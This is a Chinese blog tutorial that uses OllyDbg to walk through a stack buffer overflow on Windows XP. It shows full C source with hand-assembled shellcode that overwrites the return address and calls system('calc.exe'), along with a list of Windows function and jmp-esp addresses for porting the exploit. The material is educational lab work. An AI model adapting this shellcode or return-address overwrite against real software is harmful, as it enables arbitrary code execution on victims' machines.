美文网首页
栈溢出漏洞OD调试分析

栈溢出漏洞OD调试分析

作者: Sharkchilli | 来源:发表于2020-05-31 11:57 被阅读0次

前言

上一章对栈溢出漏洞进行了理论分析,在OD中我们可以清楚的看到堆栈的数据变化和CPU的执行流程,所以现在我们就要使用OD对一个存在溢出漏洞的C程序进行逆向调试(本实验需要掌握对OD的基本使用和X86汇编语言基础。),以这个例子进一步观察栈溢出的现象,为下一步堆栈协同攻击做好铺垫。

实验环境

Windows xp
ollydbg
Visual C++ 6.0

实验代码



#include <stdio.h>
#include <string.h>
#include <windows.h>


unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c"  //loadlibrary地址
"\x52\x8D\x45\xF4\x50" 
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" 
"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
"\x50\xB8"
"\xc7\x93\xbf\x77"  //sytem函数地址 system("calc.exe");
"\xFF\xD0";

void func1(char* s)
{
    char buf[10];
    strcpy(buf, s);
}

int main(int argc, char* argv[])
{
    char badCode[] = "aaaabbbb2222cccc4444ffff";
    DWORD* pEIP = (DWORD*)&badCode[16];  //从第16个字节开始
    *pEIP = (DWORD)shellcode;          //拼接shellcode代码的地址
    func1(badCode);
    return 0;
}

代码没有什么好讲的,主要是func1函数里面存在strcpy(buf, s);这个溢出漏洞,
我在main函数里面给func1函数传递了一个大于buf[10]的字符串,而这个字符串是我精心构造的覆盖完局部变量和ebp后刚好能把我shellcode的地址覆盖到EIP,这样函数返回时就不会到main中而是去执行我的shellcode代码了

主要是shellcode代码:
shellcode其实就是16进制的机器码,而机器码和汇编代码对应,我们可以编写一个c程序反汇编后得到这些机器码。
下面是简单的机器码对应X86汇编的示例(这里没有和我的shellcode对应不过都差不多):

image.png

以上代码和我的代码都是先调用loadlibrary加载msvcrt.dll,然后调用dll里面的system函数弹出计算器。
这里要注意的是我的loadlibrary和system函数的地址都是XP的,如果你在其他平台请改写这个参数(可以编写一个c程序打印你所在平台的函数地址)。
举两个例子:

xpsp3
77d29353 jmp esp
77d507ea messageboxa
77bf9c37 system msvcrt.dll
7c81cafa ExitProcess
7c801d7b LoadLibraryA

win2000 sp4

77df4c29 jmp esp
77e18098 messageboxa
78018ebf system msvcrt.dll
77e6e01a ExitProcess
77e705cf

OD调试分析

  • 我们将程序丢进OD中,将代码定位到main函数中:


    image.png
  • 将代码停在func1,观察栈上的数据


    image.png
  • 去看看00424A30是否是我们的shellcode
    使用dd 00424A30查看


    image.png
  • 进入func1函数中,可以看到栈上的EIP返回地址为00401110

    image.png
  • 当代码走过strcpy后栈的变化(这里说明eip返回地址覆盖成功了):


    image.png
  • 当函数返回retn时代码跳到了我们的shellcode:


    image.png
  • F9运行后计算器弹出:


    image.png

尾言

好了这次的OD调试分析就完成了,代码很简单。关键是理解溢出的原理这个在上一章中已经基于理论进行分析了。其实在本实验中我们只弹出计算机但是如果真在的恶意攻击者可不会这么客气了,因为程序已经跑到了我们的代码就可以做很多事情了,包括持续渗透进你的内网,监控你的文件与网络。

相关文章

  • 栈溢出漏洞OD调试分析

    前言 上一章对栈溢出漏洞进行了理论分析,在OD中我们可以清楚的看到堆栈的数据变化和CPU的执行流程,所以现在我们就...

  • 3 栈溢出

    栈溢出漏洞利用

  • 攻防世界 level3 wp

    0x01寻找漏洞 checksec ida分析 漏洞可以很轻松的找到,read处存在栈溢出 0x02思路分析 无l...

  • hackcon ctf 2018 | pwn wp

    BOF 漏洞点:栈溢出 利用过程栈溢出跳转 callMeMaybe 函数 获得flag exp She Sells...

  • Canary机制及绕过策略-格式化字符串漏洞泄露Canary

    Canary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈...

  • 攻防世界 cgpwn2 wp(CGCTF)

    0x01寻找漏洞 checksec ida分析 进入hello函数 发现gets(&s)处存在栈溢出 0x02分析...

  • Mary_Morton

    分析: 1.该题存在着格式化字符串漏洞和栈溢出漏洞,并且通过checksec可以知道开启了cannary保护和nx...

  • b0verfl0w

    先checksec 一波,32位,啥都没开 IDA分析,可以发现一个很明显的栈溢出漏洞,但是细心点就会发现溢出的空...

  • 如何有效的解决栈溢出,一直都是程序猿们的通病

    1. 栈溢出的原因 栈溢出(stack-based buffer overflows)算是安全界常见的漏洞。一方面...

  • 栈溢出原理

    栈溢出漏洞是由于使用了不安全的函数,如 C 中的 scanf, strcpy等,通过构造特定的数据使得栈溢出,从而...

网友评论

      本文标题:栈溢出漏洞OD调试分析

      本文链接:https://www.haomeiwen.com/subject/vcelzhtx.html